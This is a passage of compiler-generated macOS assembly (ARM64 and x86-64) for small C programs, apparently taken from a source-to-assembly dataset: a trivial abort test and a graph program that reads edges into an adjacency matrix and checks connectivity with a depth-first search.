.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w8, #1000
str w8, [sp, #8]
ldr w0, [sp, #8]
bl _f
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #1
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w0, [sp, #8]
bl _f
mov w8, #666
str w8, [sp, #8]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_1
LBB1_4:
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f ## -- Begin function f
.p2align 4, 0x90
_f: ## @f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpl $1000, -4(%rbp) ## imm = 0x3E8
je LBB0_2
## %bb.1:
callq _abort
LBB0_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $1000, -8(%rbp) ## imm = 0x3E8
movl -8(%rbp), %edi
callq _f
movl $0, -12(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $1, -12(%rbp)
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -8(%rbp), %edi
callq _f
movl $666, -8(%rbp) ## imm = 0x29A
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_4:
xorl %edi, %edi
callq _exit
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/851682.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _addEdge ; -- Begin function addEdge
.p2align 2
_addEdge: ; @addEdge
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str w1, [sp, #4]
str w2, [sp]
adrp x8, _vertices@PAGE
ldr w8, [x8, _vertices@PAGEOFF]
mov x11, x8
ldr x8, [sp, #8]
ldrsw x9, [sp]
mul x9, x9, x11
add x9, x8, x9, lsl #2
ldrsw x10, [sp, #4]
mov w8, #1
str w8, [x9, x10, lsl #2]
ldr x9, [sp, #8]
ldrsw x10, [sp, #4]
mul x10, x10, x11
add x9, x9, x10, lsl #2
ldrsw x10, [sp]
str w8, [x9, x10, lsl #2]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _printAdjMatrix ; -- Begin function printAdjMatrix
.p2align 2
_printAdjMatrix: ; @printAdjMatrix
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
adrp x8, _vertices@PAGE
ldr w8, [x8, _vertices@PAGEOFF]
; kill: def $x8 killed $w8
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-12]
b LBB1_1
LBB1_1: ; =>This Loop Header: Depth=1
; Child Loop BB1_3 Depth 2
ldur w8, [x29, #-12]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_8
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
str wzr, [sp, #16]
b LBB1_3
LBB1_3: ; Parent Loop BB1_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldursw x9, [x29, #-12]
mul x9, x9, x10
add x8, x8, x9, lsl #2
ldrsw x9, [sp, #16]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_3
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB1_1
LBB1_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _DFStraverse ; -- Begin function DFStraverse
.p2align 2
_DFStraverse: ; @DFStraverse
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur x1, [x29, #-16]
str x2, [sp, #24]
adrp x8, _vertices@PAGE
ldr w8, [x8, _vertices@PAGEOFF]
; kill: def $x8 killed $w8
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x9, [x29, #-16]
ldursw x10, [x29, #-4]
mov w8, #1
str w8, [x9, x10, lsl #2]
str wzr, [sp, #20]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_8
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #24]
ldursw x9, [x29, #-4]
mul x9, x9, x10
add x8, x8, x9, lsl #2
ldrsw x9, [sp, #20]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_5
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldr w0, [sp, #20]
ldur x1, [x29, #-16]
ldr x2, [sp, #24]
bl _DFStraverse
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_1 Depth=1
b LBB2_7
LBB2_7: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB2_1
LBB2_8:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _isConnected ; -- Begin function isConnected
.p2align 2
_isConnected: ; @isConnected
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #80
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur x0, [x29, #-24]
adrp x8, _vertices@PAGE
ldr w8, [x8, _vertices@PAGEOFF]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-32]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-72] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-72] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-64] ; 8-byte Folded Spill
stur x8, [x29, #-40]
stur wzr, [x29, #-44]
b LBB3_1
LBB3_1: ; =>This Loop Header: Depth=1
; Child Loop BB3_3 Depth 2
; Child Loop BB3_7 Depth 2
ldur w8, [x29, #-44]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_14
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
stur wzr, [x29, #-48]
b LBB3_3
LBB3_3: ; Parent Loop BB3_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-48]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_6
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_3 Depth=2
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldursw x10, [x29, #-48]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_3 Depth=2
ldur w8, [x29, #-48]
add w8, w8, #1
stur w8, [x29, #-48]
b LBB3_3
LBB3_6: ; in Loop: Header=BB3_1 Depth=1
ldur x1, [x29, #-64] ; 8-byte Folded Reload
ldur w0, [x29, #-44]
ldur x2, [x29, #-24]
bl _DFStraverse
stur wzr, [x29, #-52]
b LBB3_7
LBB3_7: ; Parent Loop BB3_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-52]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_12
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_7 Depth=2
ldur x8, [x29, #-64] ; 8-byte Folded Reload
ldursw x9, [x29, #-52]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB3_10
b LBB3_9
LBB3_9:
stur wzr, [x29, #-12]
mov w8, #1
stur w8, [x29, #-56]
b LBB3_15
LBB3_10: ; in Loop: Header=BB3_7 Depth=2
b LBB3_11
LBB3_11: ; in Loop: Header=BB3_7 Depth=2
ldur w8, [x29, #-52]
add w8, w8, #1
stur w8, [x29, #-52]
b LBB3_7
LBB3_12: ; in Loop: Header=BB3_1 Depth=1
b LBB3_13
LBB3_13: ; in Loop: Header=BB3_1 Depth=1
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB3_1
LBB3_14:
mov w8, #1
stur w8, [x29, #-12]
stur w8, [x29, #-56]
b LBB3_15
LBB3_15:
ldur x8, [x29, #-32]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-76] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB3_17
b LBB3_16
LBB3_16:
bl ___stack_chk_fail
LBB3_17:
ldur w0, [x29, #-76] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #112
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
mov w8, #1
stur w8, [x29, #-16]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
sub sp, sp, #16
mov x9, sp
adrp x8, _vertices@PAGE
stur x8, [x29, #-96] ; 8-byte Folded Spill
adrp x8, _vertices@PAGE
add x8, x8, _vertices@PAGEOFF
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _scanf
ldur x8, [x29, #-96] ; 8-byte Folded Reload
add sp, sp, #16
ldr w9, [x8, _vertices@PAGEOFF]
; kill: def $x9 killed $w9
stur x9, [x29, #-72] ; 8-byte Folded Spill
ldr w8, [x8, _vertices@PAGEOFF]
; kill: def $x8 killed $w8
stur x8, [x29, #-88] ; 8-byte Folded Spill
mov x10, sp
stur x10, [x29, #-24]
mul x9, x9, x8
lsl x9, x9, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-80] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x11, [x29, #-80] ; 8-byte Folded Reload
ldur x9, [x29, #-72] ; 8-byte Folded Reload
mov x10, sp
subs x10, x10, x11
mov sp, x10
stur x10, [x29, #-64] ; 8-byte Folded Spill
stur x9, [x29, #-32]
stur x8, [x29, #-40]
stur wzr, [x29, #-44]
b LBB4_1
LBB4_1: ; =>This Loop Header: Depth=1
; Child Loop BB4_3 Depth 2
ldur w8, [x29, #-44]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_8
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
stur wzr, [x29, #-48]
b LBB4_3
LBB4_3: ; Parent Loop BB4_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-48]
adrp x9, _vertices@PAGE
ldr w9, [x9, _vertices@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_6
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_3 Depth=2
ldur x8, [x29, #-64] ; 8-byte Folded Reload
ldur x10, [x29, #-88] ; 8-byte Folded Reload
ldursw x9, [x29, #-44]
mul x9, x9, x10
add x9, x8, x9, lsl #2
ldursw x10, [x29, #-48]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB4_5
LBB4_5: ; in Loop: Header=BB4_3 Depth=2
ldur w8, [x29, #-48]
add w8, w8, #1
stur w8, [x29, #-48]
b LBB4_3
LBB4_6: ; in Loop: Header=BB4_1 Depth=1
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB4_1
LBB4_8:
b LBB4_9
LBB4_9: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_11
b LBB4_10
LBB4_10: ; in Loop: Header=BB4_9 Depth=1
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
sub sp, sp, #16
mov x9, sp
sub x8, x29, #52
str x8, [x9]
sub x8, x29, #56
str x8, [x9, #8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _scanf
ldur x0, [x29, #-64] ; 8-byte Folded Reload
add sp, sp, #16
ldur w1, [x29, #-52]
ldur w2, [x29, #-56]
bl _addEdge
adrp x9, _edges@PAGE
ldr w8, [x9, _edges@PAGEOFF]
add w8, w8, #1
str w8, [x9, _edges@PAGEOFF]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
sub sp, sp, #16
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB4_9
LBB4_11:
ldur x0, [x29, #-64] ; 8-byte Folded Reload
bl _printAdjMatrix
mov w8, #1
tbz w8, #0, LBB4_13
b LBB4_12
LBB4_12:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
b LBB4_14
LBB4_13:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB4_14
LBB4_14:
stur wzr, [x29, #-12]
ldur x8, [x29, #-24]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-100] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_16
b LBB4_15
LBB4_15:
bl ___stack_chk_fail
LBB4_16:
ldur w0, [x29, #-100] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _vertices ; @vertices
.zerofill __DATA,__common,_vertices,4,2
.globl _edges ; @edges
.zerofill __DATA,__common,_edges,4,2
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\nThe Adjacency matrix: \n"
l_.str.1: ; @.str.1
.asciz "%d "
l_.str.2: ; @.str.2
.asciz "\n"
l_.str.3: ; @.str.3
.asciz "Enter number of vertices of undirected graph: "
l_.str.4: ; @.str.4
.asciz "%d"
l_.str.5: ; @.str.5
.asciz "Enter 2 vertices to form edge: "
l_.str.6: ; @.str.6
.asciz "%d %d"
l_.str.7: ; @.str.7
.asciz "Enter 1 to continue or 0 to exit: "
l_.str.8: ; @.str.8
.asciz "Graph is connected!\n"
l_.str.9: ; @.str.9
.asciz "Graph is not connected!\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _addEdge ## -- Begin function addEdge
.p2align 4, 0x90
_addEdge: ## @addEdge
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl _vertices(%rip), %eax
movl %eax, %edx
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -12(%rbp), %rcx
movl $1, (%rax,%rcx,4)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -16(%rbp), %rcx
movl $1, (%rax,%rcx,4)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _printAdjMatrix ## -- Begin function printAdjMatrix
.p2align 4, 0x90
_printAdjMatrix: ## @printAdjMatrix
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl _vertices(%rip), %eax
## kill: def $rax killed $eax
movq %rax, -24(%rbp) ## 8-byte Spill
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -12(%rbp)
LBB1_1: ## =>This Loop Header: Depth=1
## Child Loop BB1_3 Depth 2
movl -12(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB1_8
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl $0, -16(%rbp)
LBB1_3: ## Parent Loop BB1_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB1_6
## %bb.4: ## in Loop: Header=BB1_3 Depth=2
movq -24(%rbp), %rdx ## 8-byte Reload
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -16(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.5: ## in Loop: Header=BB1_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB1_3
LBB1_6: ## in Loop: Header=BB1_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_8:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _DFStraverse ## -- Begin function DFStraverse
.p2align 4, 0x90
_DFStraverse: ## @DFStraverse
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl _vertices(%rip), %eax
## kill: def $rax killed $eax
movq %rax, -40(%rbp) ## 8-byte Spill
movq -16(%rbp), %rax
movslq -4(%rbp), %rcx
movl $1, (%rax,%rcx,4)
movl $0, -28(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB2_8
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rdx ## 8-byte Reload
movq -24(%rbp), %rax
movslq -4(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -28(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB2_6
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
jne LBB2_5
## %bb.4: ## in Loop: Header=BB2_1 Depth=1
movl -28(%rbp), %edi
movq -16(%rbp), %rsi
movq -24(%rbp), %rdx
callq _DFStraverse
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_6
LBB2_6: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_7
LBB2_7: ## in Loop: Header=BB2_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB2_1
LBB2_8:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _isConnected ## -- Begin function isConnected
.p2align 4, 0x90
_isConnected: ## @isConnected
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -24(%rbp)
movl _vertices(%rip), %eax
## kill: def $rax killed $eax
movq %rax, -72(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -32(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -72(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -64(%rbp) ## 8-byte Spill
movq %rax, -40(%rbp)
movl $0, -44(%rbp)
LBB3_1: ## =>This Loop Header: Depth=1
## Child Loop BB3_3 Depth 2
## Child Loop BB3_7 Depth 2
movl -44(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB3_14
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl $0, -48(%rbp)
LBB3_3: ## Parent Loop BB3_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -48(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB3_6
## %bb.4: ## in Loop: Header=BB3_3 Depth=2
movq -64(%rbp), %rax ## 8-byte Reload
movslq -48(%rbp), %rcx
movl $0, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB3_3 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB3_3
LBB3_6: ## in Loop: Header=BB3_1 Depth=1
movq -64(%rbp), %rsi ## 8-byte Reload
movl -44(%rbp), %edi
movq -24(%rbp), %rdx
callq _DFStraverse
movl $0, -52(%rbp)
LBB3_7: ## Parent Loop BB3_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -52(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB3_12
## %bb.8: ## in Loop: Header=BB3_7 Depth=2
movq -64(%rbp), %rax ## 8-byte Reload
movslq -52(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
jne LBB3_10
## %bb.9:
movl $0, -12(%rbp)
movl $1, -56(%rbp)
jmp LBB3_15
LBB3_10: ## in Loop: Header=BB3_7 Depth=2
jmp LBB3_11
LBB3_11: ## in Loop: Header=BB3_7 Depth=2
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB3_7
LBB3_12: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_13
LBB3_13: ## in Loop: Header=BB3_1 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB3_1
LBB3_14:
movl $1, -12(%rbp)
movl $1, -56(%rbp)
LBB3_15:
movq -32(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -76(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB3_17
## %bb.16:
movl -76(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB3_17:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
movl $1, -16(%rbp)
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -81(%rbp) ## 1-byte Spill
callq _printf
## kill: def $ecx killed $eax
movb -81(%rbp), %al ## 1-byte Reload
leaq L_.str.4(%rip), %rdi
leaq _vertices(%rip), %rsi
callq _scanf
movl _vertices(%rip), %eax
## kill: def $rax killed $eax
movq %rax, -80(%rbp) ## 8-byte Spill
movq %rax, %rcx
movq %rcx, -72(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -24(%rbp)
imulq %rax, %rax
shlq $2, %rax
callq ____chkstk_darwin
movq -80(%rbp), %rcx ## 8-byte Reload
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -72(%rbp), %rax ## 8-byte Reload
movq %rsp, %rdx
movq %rdx, -64(%rbp) ## 8-byte Spill
movq %rcx, -32(%rbp)
movq %rax, -40(%rbp)
movl $0, -44(%rbp)
LBB4_1: ## =>This Loop Header: Depth=1
## Child Loop BB4_3 Depth 2
movl -44(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB4_8
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movl $0, -48(%rbp)
LBB4_3: ## Parent Loop BB4_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -48(%rbp), %eax
cmpl _vertices(%rip), %eax
jge LBB4_6
## %bb.4: ## in Loop: Header=BB4_3 Depth=2
movq -64(%rbp), %rax ## 8-byte Reload
movq -72(%rbp), %rdx ## 8-byte Reload
movslq -44(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movl $0, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB4_3 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB4_3
LBB4_6: ## in Loop: Header=BB4_1 Depth=1
jmp LBB4_7
LBB4_7: ## in Loop: Header=BB4_1 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB4_1
LBB4_8:
jmp LBB4_9
LBB4_9: ## =>This Inner Loop Header: Depth=1
cmpl $0, -16(%rbp)
je LBB4_11
## %bb.10: ## in Loop: Header=BB4_9 Depth=1
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.6(%rip), %rdi
leaq -52(%rbp), %rsi
leaq -56(%rbp), %rdx
movb $0, %al
callq _scanf
movq -64(%rbp), %rdi ## 8-byte Reload
movl -52(%rbp), %esi
movl -56(%rbp), %edx
callq _addEdge
movl _edges(%rip), %eax
addl $1, %eax
movl %eax, _edges(%rip)
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
